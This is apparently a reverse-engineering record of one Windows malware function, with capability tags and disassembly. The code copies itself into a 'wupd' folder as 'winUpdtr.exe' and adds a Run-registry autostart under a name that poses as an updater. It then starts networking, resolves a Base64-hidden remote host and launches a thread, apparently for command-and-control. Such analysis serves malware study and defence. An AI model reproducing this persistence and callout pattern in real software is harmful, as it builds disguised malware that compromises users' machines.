Function at 0x140001faf
Capabilities:
Check if file exists
Copy file
Create directory
Create thread
Get common file path
Initialize winsock library
Set registry value

Disassembly:
push rbp
sub rsp, 0x540
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x4d0], ecx
mov qword [rbp + 0x4d8], rdx
call fcn.140002b60
lea rax, [rbp + 0x390]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x1a
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
mov dword [rbp + 0x4bc], eax
cmp dword [rbp + 0x4bc], 0
jne 0x140002056
lea rax, [rbp + 0x390]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rdx, rax
lea rax, [rbp + 0x390]
add rax, rdx
mov dword [rax], 0x7075775c
mov word [rax + 4], 0x64
lea rax, [rbp + 0x390]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rax
test eax, eax
jne 0x140002060
mov dword [0x14000f030], 1
jmp 0x140002060
mov ecx, 0xffffffff
call sub.msvcrt.dll_exit
mov eax, dword [0x14000f030]
test eax, eax
je 0x1400021ef
lea rax, [rbp + 0x390]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
test eax, eax
jne 0x140002094
mov ecx, 0xffffffff
call sub.msvcrt.dll_exit
lea rax, str.d2luVXBkdHIuZXhl
mov qword [rbp + 0x4b0], rax
lea rdx, [rbp + 0x190]
mov rax, qword [rbp + 0x4b0]
mov rcx, rax
call fcn.14000162e
lea rcx, [rbp + 0x190]
lea rdx, [rbp + 0x390]
lea rax, [rbp + 0x80]
mov r9, rcx
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
call fcn.1400015a1
mov rax, qword [rbp + 0x4d8]
mov rax, qword [rax]
lea rdx, [rbp + 0x80]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
jne 0x140002113
mov ecx, 0xffffffff
call sub.msvcrt.dll_exit
lea rax, str.U29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFJ1bg
mov qword [rbp + 0x4a8], rax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x4a8]
mov rcx, rax
call fcn.14000162e
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0x188]
mov qword [rsp + 0x20], rdx
mov r9d, 2
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x1400021e5
lea rax, [rbp + 0x80]
mov rcx, rax
call sub.msvcrt.dll_strlen
lea edx, [rax + 1]
mov rax, qword [rbp + 0x188]
mov dword [rsp + 0x28], edx
lea rdx, [rbp + 0x80]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.winUpdtr
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
test eax, eax
je 0x1400021d0
mov rax, qword [rbp + 0x188]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov ecx, 0xffffffff
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x188]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
jmp 0x1400021ef
mov ecx, 0xffffffff
call sub.msvcrt.dll_exit
lea rax, [rbp + 0x1f0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140002215
mov eax, 1
jmp 0x1400022ef
lea rax, str.dGlsbGlhLmN6
mov qword [rbp + 0x4a0], rax
lea rdx, [rbp + 0x1b0]
mov rax, qword [rbp + 0x4a0]
mov rcx, rax
call fcn.14000162e
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.140002963
test rax, rax
jne 0x140002260
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x1400022ef
lea rax, [rbp + 0x1ac]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x140001cd7]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.msvcrt.dll__beginthreadex]
call rax
mov qword [rbp + 0x498], rax
cmp qword [rbp + 0x498], 0
jne 0x1400022b5
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x1400022ef
mov r8, qword [0x14000f088]
mov rax, qword [rbp + 0x498]
mov edx, 0xffffffff
mov rcx, rax
call r8
mov rdx, qword [0x14000f090]
mov rax, qword [rbp + 0x498]
mov rcx, rax
call rdx
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x540
pop rbp
ret